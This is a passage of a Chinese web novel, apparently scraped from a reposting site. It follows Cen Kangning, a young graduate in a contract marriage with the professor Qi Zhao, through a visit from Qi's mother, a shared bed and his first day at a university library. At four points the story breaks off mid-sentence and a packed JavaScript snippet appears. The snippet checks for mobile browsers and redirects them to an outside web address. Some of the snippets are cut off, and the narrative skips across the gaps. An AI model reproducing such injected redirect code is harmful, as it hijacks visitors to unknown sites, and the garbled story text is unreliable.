往往这个时候,岑康宁还在睡。 他最近没什么好忙的,大学这边儿毕业了,工作还没正式开始。 不需要早起,每天晚上无聊了就玩电脑游戏(祁钊给他的房间里配置了一台苹果电脑),往往两三点才睡,早上九十点才醒。 至于晚上。 祁钊约莫在十点半左右到家。 这个时间点岑康宁早已经坐在了电脑桌前。 因为房间够大,配置够好的缘故,岑康宁甚至可以一天从早到晚除了吃饭不出房间。 “这哪里叫寄人篱下呀。” 岑康宁想:“分明是人间天堂。” 早知道结婚后的生活可以滋润成这样,岑康宁想,他还抗拒什么。 现在回想起来都觉得好笑。 那时他竟还真考虑过拒绝祁钊,靠自己的本事找工作,然后租房。 如果真的那么选了。 岑康宁想了想A市的房价,不由得打了个寒颤。 还好他本来也没多有骨气。 换鞋进了房间,今天是周五工作日,岑康宁以为这又是平平无奇的一天,他打开游戏。 正在峡谷跟人拼杀。 漂亮的拿下一个三杀团灭。 叮咚,叮咚—— 门铃不断响起。 岑康宁一开始其实没听见,这房间太大了,隔音又好,他躲在自己房间里,隔壁杀人分尸都听不见。 但很快他手机震动。 陌生的本地号码与琴姨的号码交替出现。 岑康宁没接电话,看了眼微信。 果然,琴姨在一分钟前给他发微信消息:“小宁,开门啊,你这孩子,在家吧?” 岑康宁看到消息后心头咯噔一响。 他心说,不会吧? 这才几天,黄家那帮人就要上门了? 一想到那一大帮子人呼啦一下子挤进这个房间,岑康宁瞬间整个人都不太好。 他手脚麻木,飞速结束游戏的同时,正要给李宝琴回消息说自己不在。 李宝琴的下一条消息接踵而至—— “快开门啊孩子,你不能把你婆婆关外面。” 岑康宁:“?” 岑康宁在原地足足反应了一会儿,才想到这个“婆婆”指的是谁。 脑海中率先浮现出一颗鸽子蛋大小的祖母绿翡翠。 然后才是一张保养得体,写着看不起人的脸。 倏地,岑康宁站起身来。 “阿姨对不起,您怎么来了,我刚刚在房间里没听到门铃。” 岑康宁打开大门,脸上挂着笑容与歉意。 刘海俐像一只好斗的公鸡一样走了进来,身上照旧是珠光宝气。 但今天她没戴那颗祖母绿,反而是在耳朵上挂着两颗混圆的澳白珍珠,脖子上也是珍珠项链。 进了门以后,先是打量岑康宁一眼,然后戳穿他的谎言:“怎么可能没听见,主卧有门铃分机。” 岑康宁:“……” 猜怎么着? 我不住主卧。 脸上的笑容有些僵硬,但岑康宁聪明地没有承认他跟祁钊并不住在一起的事实。 可刘海俐又是何许人也。 很快她看了眼房间内部。 从紧闭的房门,还有一些岑康宁不知道的细节里,她很快发现了这个事实,脸色很臭。 “你们怎么能分房睡呢?” 岑康宁一时不知该如何回答这个问题。 真话太难听。 假话他说不出口。 也许祁钊在的话,他能够应付得了他的母亲。可祁钊不在,岑康宁被迫接受刘海俐的教导。 “夫妻不能分房睡,会影响感情。” “当初找你嫁到我们家来,就是要让你照顾我儿子,旺我儿子。否则外头那么多人喜欢我儿子,凭什么选你?” “&×%)¥#%……” 后来还乱七八糟说了一大堆。 岑康宁一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他认为岑康宁的长相属于人群中比较轻浮的一类。眼尾微微上扬,嘴唇色泽殷红,鼻梁侧翼甚至长着一颗小痣。 祁钊并不擅长应付这一类人,因为不知道对方什么时候就会冒出一句类似于“老公”这样冒犯的言论。 后来会选择岑康宁。 也是因为实在无人可选。 但祁钊必须承认,如果那天咖啡馆里的岑康宁表现地像现在一样乖巧的话,也许他当天就会做出选择。 岑康宁的身上仿佛就是有这种魔力。 只是此刻的状态注定无法维持太久,就像睡在课题组办公室打印机上的那只猫,往往祁钊刚一敲门就会竖起耳朵惊醒,岑康宁亦如是。 祁钊分明没有发出任何声音。 只是呼吸,存在而已。 岑康宁不安地动了动眼皮,然后就醒了。 醒来以后他先是给自己的瞳孔聚焦,很快,意识到祁钊的存在,抬起被压出花纹的脸: “你回来了,祁教授,一个坏消息一个好消息,你想听哪个?” “坏消息。” 祁钊说。 “坏消息,我的床没有了。” 岑康宁笑着,弯起好看的眉眼:“好消息,我听说你的床有两米。” 20. 第 20 章 祁钊没问岑康宁是从哪里听说的,也懒得纠正他的床其实有两米一。 他只是很平淡地猜测出了事实的真相。 然后说:“知道了,你去我房间睡吧。” 岑康宁感到讶异,那双不久前才找到神采的桃花眼猛地睁大几分:“你不问我为什么吗?” “我妈来了。” 祁钊说。 他放下自己的公文包和外套,像一个设定好的程序一样,虽然被突如其来的意外状况插队卡了壳,但等状况结束,很快又恢复正常的路径。 岑康宁在暗地里咋舌于祁钊的淡定。 不愧是教授。 接受突发情况就是比较快。 刘海俐不由分说带着岑康宁的床走了以后,岑康宁可是在客厅沙发上发了整整一个多小时的呆,才勉强接受自己可能要跟祁钊被迫同床共枕的事实。 可祁钊呢。 分明是这么有边界感的一个人,扫地机器人和冰箱都要配两个和岑康宁分开用,对此竟然没说任何话。 祁钊不会感到烦恼吗? 万一自己磨牙打呼怎么办? 当然,岑康宁并不磨牙打呼,他只是做一个比喻。跟陌生人住在同一个房间里有多难受他最懂了。 可以说自打岑康宁出生起,除了这两天,他就从没有一个人住过。 但就算这样,跟认识了一个多月,只见过寥寥数面的陌生人躺在同一张大床上,岑康宁也一时半会儿没接受得了。 他心说,我倒不是怕他打呼磨牙。 住男生宿舍的时候,一个狭小的房间里挤六个人,难免遇到打呼磨牙的舍友。 还有人会说梦话。 有人脚臭。 岑康宁早就习惯了。 但一想到两人要躺在同一张大床上,呼吸同一片空气,在睡着后可能连被子都要彼此纠缠在一起。 想到那副画面。 岑康宁忽然就觉得有些窒息。 他现在一点儿都不愧疚接受合同里那每个月五千块的精神补偿费了,真的。 本来签合同的时候岑康宁还有些不太好意思,感觉自己在占祁钊便宜。 通过这场婚姻,岑康宁不仅得到了一份体面稳当的工作,而且,收养他的黄家也因此得到了一笔彩礼。 岑康宁自觉自己已经得到的够多了。 实在没脸拿那五千。 只是给祁钊当个假老婆而已,哪需要这么贵,还要拿对方的精神损失费。 简直既要又要,连吃带拿。 直到今天他意识到,假老婆没这么好当,精神损失费他该拿。 至少看在精神损失费的面子上。 岑康宁没有对这件事特别抗拒。 而在“叮咚——”又一笔支付宝五千块入账后,他唇角的弧度更是从一条直直的横线chu!地,变成了平放着的单括号。 “你的床果然好大,不愧是有两米。” 岑康宁盛赞着眼前出现的大床,对床上的各种用品也表示出极大的赞许。 祁钊的审美其实从这套房子的整体装修风格,和他那辆Cybertruck就可见一斑。 极简,科技,性冷淡。 这张床显然也是如此。 不知道是什么品牌,用上了什么技术,整张床看上去像是悬空着一般。像是那种科幻电影里才会出现的大床,最底部围绕着一圈自动感应的夜灯。 床品的颜色则一如既往,是祁钊相当中意的灰色。 像祁钊整个人带给人的感受一样,不似黑色那样纯然的冰冷,却固有一番拒人于千里外冷意。 此时此刻。 岑康宁躺在这张床上。 他很聪明地占据了右侧靠近阳台的那一边,这样一来,祁钊洗完澡后上床,就不至于需要越过他。 至于岑康宁,他早在祁钊回家以前就洗过澡了。 “晚安,祁教授。” 岑康宁整个人缩进被窝里,开始试图用睡觉掩饰被迫同床共枕的尴尬。 可事情到底是没能按他想象地那样发展。 道过晚安,又闭上眼睛以后。 岑康宁才意识到,糟了,傍晚那一觉睡得太实。 他从九点睡到十一点,整整两个小时的深度睡眠,这会儿比喝了霸王茶姬还清醒。 怎么办? 难道要开始玩手机? 可他睁开眼,感受着浴室里某人的洗澡进度,显然,每天洗两回澡的祁教授晚上洗澡不会占用太多时间,这会儿已经开始使用吹风机,想必要不了多久,他就能从浴室里出来。 然后呢? 岑康宁想到可能会发生的某些画面,兀地顿住。 后知后觉的尴尬和抗拒又开始侵蚀着岑康宁的脑袋,哪怕岑康宁不断地劝告着自己: 别作,你刚刚签了补充协议。 每个月精神损失费还要再加五千块钱。 算下来一个月你要从祁钊手里拿一万块,一万块,你把他当老板就行了。 老板让你跟他睡一晚上,不做其他事,你不同意吗? 结果岑康宁猛不丁想。 以他的脾气,好像还真有可能不同意。 可为什么他没什么抗拒地就躺了下来呢? 岑康宁想不出原因,就一直睁着眼睛看天花板,直到感到身侧床垫很轻地塌陷。 “晚安。” 祁钊说。 像是某个魔法咒语,说罢房间里所有的灯全灭了。 岑康宁在黑眼中无语地看着漆黑一片的天花板,想,还真的是完全没办法玩手机的一个环境。 又想,不会吧,这年头还有人上床不玩手机直接睡觉的吗? 岑康宁不信。 但很快,随着黑暗降临,祁钊的呼吸逐渐平稳下来。 岑康宁:“……睡着了?” 祁钊没回他。 看来是真睡着了。 岑康宁登时大为震撼。 不是,这世界上怎么能有人入睡这么快?不玩手机也就罢了,床侧多了一个人,祁钊你都不觉得不适应吗? 事实证明,祁钊是真不觉得。 他入睡的那样快,睡眠质量是那样的好,以至于让岑康宁控制不住地有些妒忌。 是的,岑康宁一贯有失眠的毛病。 对咖啡因还很不耐受。 每回遇到个什么糟心事儿,又或者下午没忍住诱惑喝了一杯蜜雪冰城,岑康宁躺在床上都至少要玩手机到三点。 那是一种很痛苦的经历。 精神是疲倦的。 身体却很亢奋。 彻夜难眠伴随着深夜莫名的孤寂,每一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824594|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会让岑康宁觉得,他是世界上最倒霉的小孩儿。 倏而岑康宁又想。 也许这就是祁钊不会失眠的原因。 他并不倒霉,还很幸运。 一出生就有傲人的智商,祁钊是人群中最为幸运的那百分之0.000000001。 瞧—— 0.000000001连睡觉的姿势都那么规矩。 规矩到让岑康宁不由得想,祁钊是不是个机器人?出厂程序被上帝设定好的那种。 但很快,岑康宁打消了这个想法。 因为一只手不打招呼,冷不丁地搭在了他的脸上。 岑康宁:“……” 祁钊的手是热的,和他的性格不一样,皮肤干燥而有温度,散发出一股很淡的柠檬海盐气息。 柠檬海盐的味道来自于沐浴露和洗发水。 别问岑康宁怎么知道的,因为祁钊给他浴室里准备的也是这几款。 应该是懒得特别去买,直接从库存里拿出来简单地放进去。 岑康宁用过几次,觉得这个牌子很不错,除了味道有些单一以外,无论是洗澡还是洗头都很干净不刺激。 只是连洗衣液都是这个味道。 用的多了,岑康宁感觉自己变成一颗浸在海盐里的柠檬。 但很奇怪,分明是一样的产品,在每一个人身上却体现的不太一样。岑康宁的身上就柠檬多一点,而祁钊身上却是海盐多一点。 微微散发着柠檬香气的海盐像夏日海边吹来的一道柠檬味热风。 岑康宁控制不住地舔舔唇。 啧—— 竟然馋了。 幸好很快祁钊就把手收了回去。 但又很快,祁钊的腿搭了回来。 岑康宁清醒地当了他的腿架子约莫十来分钟,终于忍不住,把他沉重的像铅块儿一样的腿挪回去。 也不知道这人怎么回事,看着瘦瘦的,腿这么沉。 结果安静不到两分钟。 胳膊又搭了上来。 岑康宁:“?” 很好,他现在终于知道祁钊为什么一个人睡结果买这么大的床了。 — “你知道你睡着以后有乱动的习惯吗?” 祁钊道。 客厅里再度弥漫着咖啡豆的香气,周六清晨的饭桌上,祁钊用平静的口吻提出建议:“也许你可以试试在食物中多补充维生素和钙来改善睡眠质量,而不是用多种糖油混合物来解决。” 岑康宁一整夜没怎么睡好,整个人这会儿还不太清醒,有些迟钝。 他反应了好一会儿,才意识到祁钊口中的糖油混合物指的是他手里的油条和脆薯饼。 刚被外卖员送上来,还很烫很脆的薯饼散发着一股强烈的饭张力,看上去油香油香的;油条同样。 总之就是和祁钊面前的西蓝花和水煮鸡蛋形成鲜明对比。 是以岑康宁只是很困地啊了一声,然后微抬眼皮—— “你是说我吗?” 祁钊:“对。” “哦。”岑康宁面无表情咬了一口脆薯饼,嫌不够又吃了口油条,喝了一大口冰可乐。 咔嚓。 伴随着薯饼清脆的声音,岑康宁道: “我觉得它里面的维生素和钙应该至少比西蓝花多一点。” 21. 第 21 章 祁钊没说话了。 他周六的早晨会有半天休息时间,所以今天才会晚起。 但这并不意味着祁钊打算将时间用在跟岑康宁辩论薯饼和西蓝苔哪个食物中的维生素含量更多一点。 真要较真的话祁钊大可以发岑康宁无数篇论文作为佐证。 但没必要。 以岑康宁的文献阅读速度,看完所有论文,说不定他早就忘记了这个愚蠢的问题。 是以祁钊没反驳,也没说对。 他只是维持着一个很淡定的姿态,从容不迫地将盘子里的西兰苔与水煮蛋通通吃干净,然后站起身来,优雅地擦嘴。 “我好了,你慢慢吃。” 说完他将用过的餐盘放回厨房,转身走向这套大平层里的第三个房间。 岑康宁还在吃。 他吃的很慢,全然不似平时那样匆忙。 反正今天他还是没事干,吃完饭就该回去补觉,岑康宁自觉他对那张床没什么感情,所以想尽可能的拖延一下。 不过说是拖延,其实也没能拖延太久。 因为岑康宁很讲究食物的最佳赏味期,油条和薯饼这两种早餐都是那种必须要趁热吃的食物。 热的时候是人间美味。 冷了以后就成了人间不值得。 岑康宁不喜欢浪费食物,于是就着冰可乐,最终还是在五分钟内结束战斗。 然后他就开始用昏昏沉沉的脑袋思考。 祁钊这么一大早不上班,去隔壁房间干什么去。 是书房吗? 好像也不对。 因为岑康宁昨晚在主卧入睡,所以他知道,主卧套间里除了有一个单独的衣帽间外,还有一个没门的房间明显就是书房。 书房里摆满了各类书和资料。 入口处还摆放着一张大白板,白板上用马克笔写着各种岑康宁看不懂的符号公式。 所以,隔壁房是? 很快岑康宁有了答案。 因为祁钊从房间里走出来拿东西。 然后岑康宁就从他的穿着上意识到一个很BT的事实——靠,这人周六早上起这么早,竟然是在健身! 这合理吗? 这不合理吧。 岑康宁想。 怎么会有人自律到这种地步。 他不需要休息吗? 他好像也不需要享乐。 岑康宁不由得想起昨晚入睡前的场景,好吧,这人连手机都不喜欢玩儿。 有这样的意志力做什么都会成功的。 和自己不一样,和所有人都不一样。 祁钊太特殊了,特殊到在岑康宁过去的二十二年生命中从未遇到过相同的案例。 难怪他如此成功。 年纪轻轻取得如此成绩。 意识到这个事实以后岑康宁其实是有一点无措的。因为他忽然发现自己不知道要怎么跟这种人相处。 在过去的生命中,岑康宁遇到过的人总是相似的,所以他可以拿与第一个人相处的经验套用在第二个人的身上。 比如,娟姨和大伯母很像。 她们总是害怕岑康宁在家里多吃了一口饭,或者又多用了一点洗衣液。 所以岑康宁需要在饭桌上假装胃口很小。 等家里吃过饭了,再用卖废品或者打工攒下来的一点钱去外面买零食吃。 又比如,黄光远跟他初中的同桌很像,都是家里唯一的男孩子,很喜欢吃,被家里惯的无法无天,很喜欢欺负人。 但只要岑康宁愿意跟他们玩游戏。 岑康宁就能勉强免受欺负。 可这些经验通通都无法应用在祁钊身上,这件事让岑康宁颇感困扰。 幸好很快就不困扰了,因为只剩下困。 一晚上没怎么睡好的岑康宁困意袭来,来不及参观祁钊的家庭健身房,就在简单的洗漱过后又沉沉睡去。 这一睡就睡到下午。 祁钊已经出门。 岑康宁从床上爬起来后很庆幸地想,原来这张床一个人睡的时候这么舒服,一点儿也不拥挤。 难怪祁钊睡眠质量这么好。 想到这里连忙拍了照识图,想要将床的品牌记录下来,以后自己独立的时候买回去用。 但高昂的价格瞬间让他脸上笑容消失不见。 好吧。 岑康宁和祁钊,果然生活在两个世界。 一个是喜欢吃西蓝花蓝莓讨厌糖油混合物的健身自律人士;一个最爱早上刚出锅的油条和炸薯饼,目前为止关于健身的唯一经历是校园乐跑APP。 一个是二十九岁整日泡在实验室和论文里,跟教授院长甚至诺奖得主交流沟通的学术界大拿;一个是二十二岁,好逸恶劳,完全不想工作不想早起只想躺在床上伪装尸体的咸鱼。 学术大拿不懂咸鱼怎么可以一整天不出门把自己关在房间里玩游戏恰如咸鱼想不通学术大拿为什么不喜欢玩手机。 是短视频不好看,还是大数据推送不够精确? 但命运并不以人类的意志力为转移,学术大拿与咸鱼被结婚证和一份结婚协议捆绑在一起,被迫开启了不算鸡飞狗跳但也没多安静的同居生活。 直到六月的最后一个星期一。 咸鱼好日子到头了。 “怎么会有学校暑假图书馆不休息?!” 岑康宁郁闷地站在早高峰的地铁栏杆旁,一手抓着栏杆,一手捏着手机,堪称咬牙切齿地想。 只见他手机屏幕上搜索栏中赫然写着P大图书馆放假时间这一排小字。 然而无论岑康宁如何点击搜索。 大数据对他都只有一个回答。 “好消息,P大图书馆暑期不放假!照常开放!” 岑康宁:“……” 天都塌了。 也没人告诉他还有学校的图书馆不放暑假啊! 说来当初在人事处问主任假期安排的时候。 主任的确没说暑假,只说年假一个月。 可岑康宁还以为暑假是不需要问呢,谁曾想是不放。 “有没有一种可能,选择了在学校工作,就是看上了那点儿寒暑假?” 地铁里,岑康宁小声地蛐蛐着。 周遭没有人附和他的吐槽,看得出来,周一的早高峰大家都很疲惫。 岑康宁叹了口气,将脑袋抵在栏杆处。 过了一小会儿,地铁传来到站的消息。 今天唯一的好消息可能就是这个,岑康宁要上班了才发现,原来从祁钊的公寓坐地铁去P大只需要区区三站地铁。 这意味着什么? 意味着岑康宁要是早上八点钟上班,有可能七点半醒都来得及。 一想到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14824595|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里岑康宁因为上班而压抑的心情总算有所好转,出了地铁后,他快步走出地铁站,加入早八高峰期拥挤的人群。 然后就被校门口的保安拦住—— “站住,外来人口进校需要登记。” 岑康宁说:“我不是外来人口,我是老师,只是人脸识别还没办下来。” 保安却上下打量他两眼,满脸写着不相信:“你?老师?” 岑康宁:“不像吗?” 亏他今天还特意穿了那件一万三的衬衫,配当时为面试买的西装裤和皮鞋,为的就是塑造老师的威严,把自己和学生区分开来。 保安摇头,老实交代:“不像,像进来拍视频的网红。” 岑康宁:“……谢谢师傅夸我好看。” 保安倒也没有真的想为难岑康宁的意思,只是岑康宁看上去确实不像那种普通的老师。 这里虽然是P大,全国最好的高校,但P大的老师们和普通高校的老师从外表上乍一看上去并没有太大的区别。 而且正因为这里是P大,每天多得是各路人马想要蹭进去,所以保安不得不谨慎小心。 于是他说:“你哪个院儿的,登记一下,我打电话问问。” “图书馆。” 岑康宁道:“可以找副馆长确认,我今天第一天上班,正准备去找他。” 结果保安一听瞪大了眼:“你图书馆的你来这么早干什么?” 岑康宁:“不是八点上班吗?” 保安:“……”看出来了,的确是第一天上班。 拜岑康宁优秀的外表所赐,不少学生和老师开始不断将目光投向两人。 保安怕再这样下去真要上热门短视频,赶忙在通讯录里找到图书馆领导确认岑康宁身份。 得到确切消息后保安立刻给岑康宁道歉:“抱歉抱歉,小岑老师,耽误您时间了。” 岑康宁也没生气,很好脾气的笑笑:“没事儿,第一天嘛,之后可别拦我了。” 保安说:“那哪儿能啊。” 毕竟这张脸看一眼就记住了,人群中不知道有多耀眼。 而且又是老师,肯定还高学历。 啧啧—— 保安看着岑康宁离开的背影,眼里闪过名为羡慕嫉妒的情绪。 而岑康宁这头被拦了这么一遭,距离约定好的时间已经有些来不及。 他不由得加快脚步,在不算空旷的校园里小跑起来。 幸好他为了三方协议来过P大,还不止一次,这才没有因为在校园里迷路而彻底迟到,赶在八点钟压线的时间,他扣响了副馆长办公室的大门。 “进。” 门里的副馆长道。 岑康宁于是推门,从门内立刻传来一股菜夹馍的味道。 岑康宁觉得好笑,原来P大副馆长早上也吃菜夹馍,闻着还挺香的,下回熟了问问副馆长在哪里买。但面上他并没有表现出来,仍旧保持着淡定。 “馆长您好,我是C——” 岑只说出前半个音节。 只见年过半百明显发福的副馆长重新拿起放在桌面上刚吃了一口的菜夹馍,朝岑康宁百无聊赖挥挥手:“宣传科请来拍视频的网红吧?找错地方了,我不管这事儿。” 岑康宁:“?” 他今天是跟网红杠上了吗? 怎么人人都觉得他是网红? 22. 第 22 章 “胡馆长,我是岑康宁。” 没法子,岑康宁只好又重新介绍了一遍自己,语气里多少带着点儿无奈:“不是网红,是今天才来报道的管理员。” 胡副馆长:“啥?” 胡副馆长惊得手里的菜夹馍差点掉下来。 还是岑康宁眼疾手快,帮他接了一把,这才没有让菜夹馍“粉身碎骨。” 但副馆长却来不及心疼菜夹馍,全部心神都被岑康宁吸引。 “你就是岑康宁?” 岑康宁点头:“我是。” 副馆长睁大瞳孔的同时,从抽屉里拿出一张职工一卡通来,戴上老花镜反复比对:“这不像啊。” 岑康宁凑过去看了一眼,果然不像,根本就不是他。 难怪副馆长没认出来人。 “照片不是我的。” 他说。 说着岑康宁从包里拿出自己的身份证递给副馆长。 副馆长接过他的身份证,看着身份证上清晰地三个大字岑康宁,又反复端详照片几遍,一番思考后恍然大悟:“怪不得!” 他就说,昨天人事处那边儿把岑康宁的一卡通给他,他拿着看了好几遍也没看出来这人有什么魅力能被据说眼高如顶的祁钊看上。 结果是搞错了。 如果是眼前人的话,事情顿时变得非常合理。 “估计是人事处那边儿搞错了。”副馆长深呼一口气,擦擦额头上的薄汗说:“那这张卡我就先不给你,让他们重新办好再给你。” “行。” 岑康宁道。 副馆长这才将职工卡收回抽屉里,想了想,又抽出一张纸巾擦擦手,然后才站起身来,同岑康宁握手。 “你好岑康宁同志,我姓胡,是咱们馆里的副馆长。今天我谨代表图书馆,欢迎你的加入。” 岑康宁也同胡馆长握手,一脸认真:“胡馆长您好,很高兴能加入图书馆。” 胡伟赞许地点了点头,显然对岑康宁甚是满意。 岑康宁也挺满意的,主要是满意胡馆长手里的那个菜夹馍,不知道是不是领导特供,那菜量是真足啊—— — “走,我带你先在馆里到处逛逛。” 新人上班第一天,胡伟兴致勃勃。 岑康宁心情也不差。 地铁上因为早起而生出的那点儿郁愤早就在进办公室前消弭的一干二净了,如今走出办公室,放眼望去,P大古朴厚重的校园映入眼帘,一种奇特的兴奋感更是油然而生。 他意识到,他是真的要来P大工作了。 曾经做梦都不敢想的梦中情校,报志愿的时候连冲一冲都没敢,如今他竟然成了里头的员工。 人生有时候是真奇妙。 “咱图书馆很漂亮吧?”胡伟走在岑康宁的前头,一边走,一边得意地指着不远处的两栋建筑物给岑康宁介绍: “原本不长这样,五年前地震旧馆出现裂缝,领导们集体同意推到重建,后来才有了现在的图书馆。” 岑康宁点头:“我知道,以前的馆是民国时期就有的,经常上各种新闻封面。” 提起这事儿胡伟还有些可惜:“那可是真正有历史的古建筑,多少名人校友从馆里走出来。如果不是地震,我还真舍不得离开。” “现在的也不差。” 岑康宁道。 他这话倒也不是全然溜须拍马,而是眼前的新馆的确从各个角度来说都很优秀。 新馆一共两栋楼。 每栋高八层。 由知名设计师设计,还是走复古民国风,外墙的砖瓦都是整块儿的大理石拼接。 岑康宁最喜欢的部分是连接两栋楼中间的长拱形连廊,从远处看像一道彩虹一样。 当然从设计意义上来讲,这连廊肯定是“知识的桥梁”,不是什么彩虹。 但岑康宁觉得,彩虹的寓意也不差。 很漂亮。 尤其是落日时刻,火红烫金的火烧云映在连廊透明玻璃上,别提有多美。 岑康宁不止一次在小红书刷到过P大学生发照片,对此处颇为向往。如今一见,虽然不是最佳观赏期,但今天天气晴朗,蓝天白云,也是别有一番意趣。 然而对此,胡副馆长摆摆手:“什么知识的桥梁,明明是‘情人桥’‘亲嘴桥’,每回走过去都有人在桥上亲嘴,搞得我尴尬的不行,过去不是,回头也不是。” “哈哈。” 岑康宁没忍住笑出声来。 看来,就连P大也无法避免大学小情侣。 不过话又说回来了。 上大学不谈恋爱还有什么意思? 除了像他这种人,大学里谈恋爱才是正常的,尤其现在的学霸们早就不是传统的书呆子。 既学得好,也能玩得好。 才是新一代学霸们的标签。 胡伟接着说:“咱们言归正传,想必你也能看到,左边儿这栋是自然科学楼,右边儿这栋是人文社科。右边儿左边儿一样高,咱P大可是综合类大学,跟外头那些‘瘸腿’的大学不一样,每种学问在这里都能受到重视。” “嗯嗯,您说的对。” 岑康宁自觉出身于“瘸腿”大学,谈到这个问题时不由得低人一等。 不过他很好奇:“我是去哪个楼上班呢?” 胡伟道:“人社三楼的文艺馆今年刚刚退休了一位女老师,你是顶她的岗。” 岑康宁这才第一次知道自己的工作岗位,不由得心神一凝。 文艺馆。 文学与艺术么? 挺好。 岑康宁虽然是土木专业出身,但扪心而论,他其实真不太喜欢枯燥乏味的工科。 所谓学一行恨一行。 大抵讲的就是岑康宁这种人了。 胡伟笑道:“你可不知道,你来了以后,咱馆里的性别比可算是有所提升了。” 毕竟图书馆这种地方是安置岗位的“重灾区”。 基本上P大图书馆从不对外招聘,光是安置都安置不完,哪里还有向外招聘的名额。 而虽说如今男男结婚已经常态合法。 但总体上来说,传统男女婚姻的结合形式还是主流。 是以图书馆员工的男女比例常年失衡。 岑康宁当下了然道:“馆长放心,我来了以后有什么体力活你尽可以安排我。” “那敢情好。” 胡伟听完浑浊的眼睛登时一亮。 倒也不是馆里有多少体力活,其实馆里并不缺人干活。但岑康宁作为一个新人,还是被校长亲自交代过的“新人”,能说出这番话来,作为副馆长来说,肯定是高兴的。 这证明岑康宁并不是什么刺头。 相反,还很好相处。 胡伟当然开心。 岑康宁也开心,他认为自己作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时这位姐妹还包揽了前三年的专排第一,挑杯特奖,及校内各大活动的主持,甚至上过央视春晚。 岑康宁:“……” 咸鱼感觉忽然就被创到了是怎么一回事? 本来已经做好了决定,他嫁给祁钊,为的就是享受他过去二十二年来没能享受得到的生活。 在过去的大半个月里,他也的确是这么做的。 并且对这样的生活十分满意。 可此时此刻,忽然站在这些天之骄子的面前,不可避免的,岑康宁竟产生一种无地自容的感觉。 这也是很正常的。 你说,大家都是人。 怎么就有人那么优秀呢? 幸好没多久,这种无地自容与自残形愧就消散不见。 因为走到二楼以后,天之骄子们的宣传旗阵终于结束,映入二人眼帘的是另一张脸。 这张脸冷淡、英俊,独占一整张宣传版面。 虽然没有任何表情,可就是能让人看出一种睥睨众生,在他眼里所有人都是废物的感觉。 嗯不错,就是这人每天吃西蓝花喝牛奶,结果昨晚才把手差点塞他嘴里。 岑康宁心里多少平衡了点儿。 23. 第 23 章 但话又说回来了。 不是学生特奖评选? 祁钊搁这儿凑什么热闹呢。 岑康宁的困惑被胡副馆长看在眼里,他很惊讶,将军肚一腆:“你老公没告诉你?” 岑康宁摇头:“没。” 胡副馆长倒也没多问,只是摸着下巴胡茬露出若有所思的表情:“也是,小事情没必要件件都说。就是这回特奖评选需要一个特邀评委,有一票否决权的那种,结果全部候选人一致同意让祁教授出席。领导们好说歹说,终于让祁教授同意了,这才把他的照片挂这里宣传。” “原来如此。” 岑康宁了然了。 不过了然后又是一种全新的感慨。 他不由得想起了网上的一个段子,和此刻的情形似乎有些贴切。 大致意思是,你苦苦修炼了成千上万年,历尽千辛万苦终于飞升上界,结果成了天庭派去围剿齐天大圣的十万天兵。 岑康宁想,我连天兵都不是。 但祁钊好像就是那个大圣。 啧。 “到了,就是这儿。” 到了三楼,走进玻璃门,入口处向左,第一个馆就是岑康宁即将要工作的文艺馆。 文艺馆的入口处跟其他馆看起来没有太多差别。 自动感应的闸机大门,四周是玻璃墙壁,宽敞明亮的内里空间一览无余。 唯独只是墙壁两侧悬挂着许多文艺界的知名校友。 有作家,画家,导演,编剧等。 平时看不出什么联系,今天岑康宁才知道,原来都是P大的,难怪其中有好几个经常合作。 “贵校还真是人才济济。” 岑康宁想了想,如此评价道。 随后嗡地一声,感应门自动推开,岑康宁跟在胡副馆长的脚步后面,亦步亦趋地走进了他今后可能二三十年都要呆的地方。 “夏老师,我带人来了。” 胡伟一进门就喊。 那姓夏的女老师却显然被打了个猝不及防,手一抖,电脑屏幕上的斗地主没关掉反而点成了最大化。 幸好她经验丰富,连忙啪的一声按掉显示器。 噔—— 黑屏映出一张略带惊慌失措,但总体来说稳如泰山的脸。 夏玉兰站了起来,扯出一个僵硬却足够标准的笑,伸出自己刚刚还在抢地主的手,同岑康宁打招呼: “你好,是小岑老师吧?早就听说你要过来,今天第一次见面,果然名不虚传。” “您好,夏老师,我叫岑康宁,叫我小岑就行。” 岑康宁一边笑着同样伸出手,一边心想,名不虚传?他有什么名? 不过算了。 他现在满脑子都是夏老师刚刚关掉的斗地主。 刚刚为止,他虽然人在P大,组织关系也完全转到了P大,但灵魂却好像完全漂浮在外,对P大没有一点儿归属感。 这里的一切仿佛都跟他格格不入。 无论是暑期也不放假的图书馆,还是一大早就开门的咖啡店。 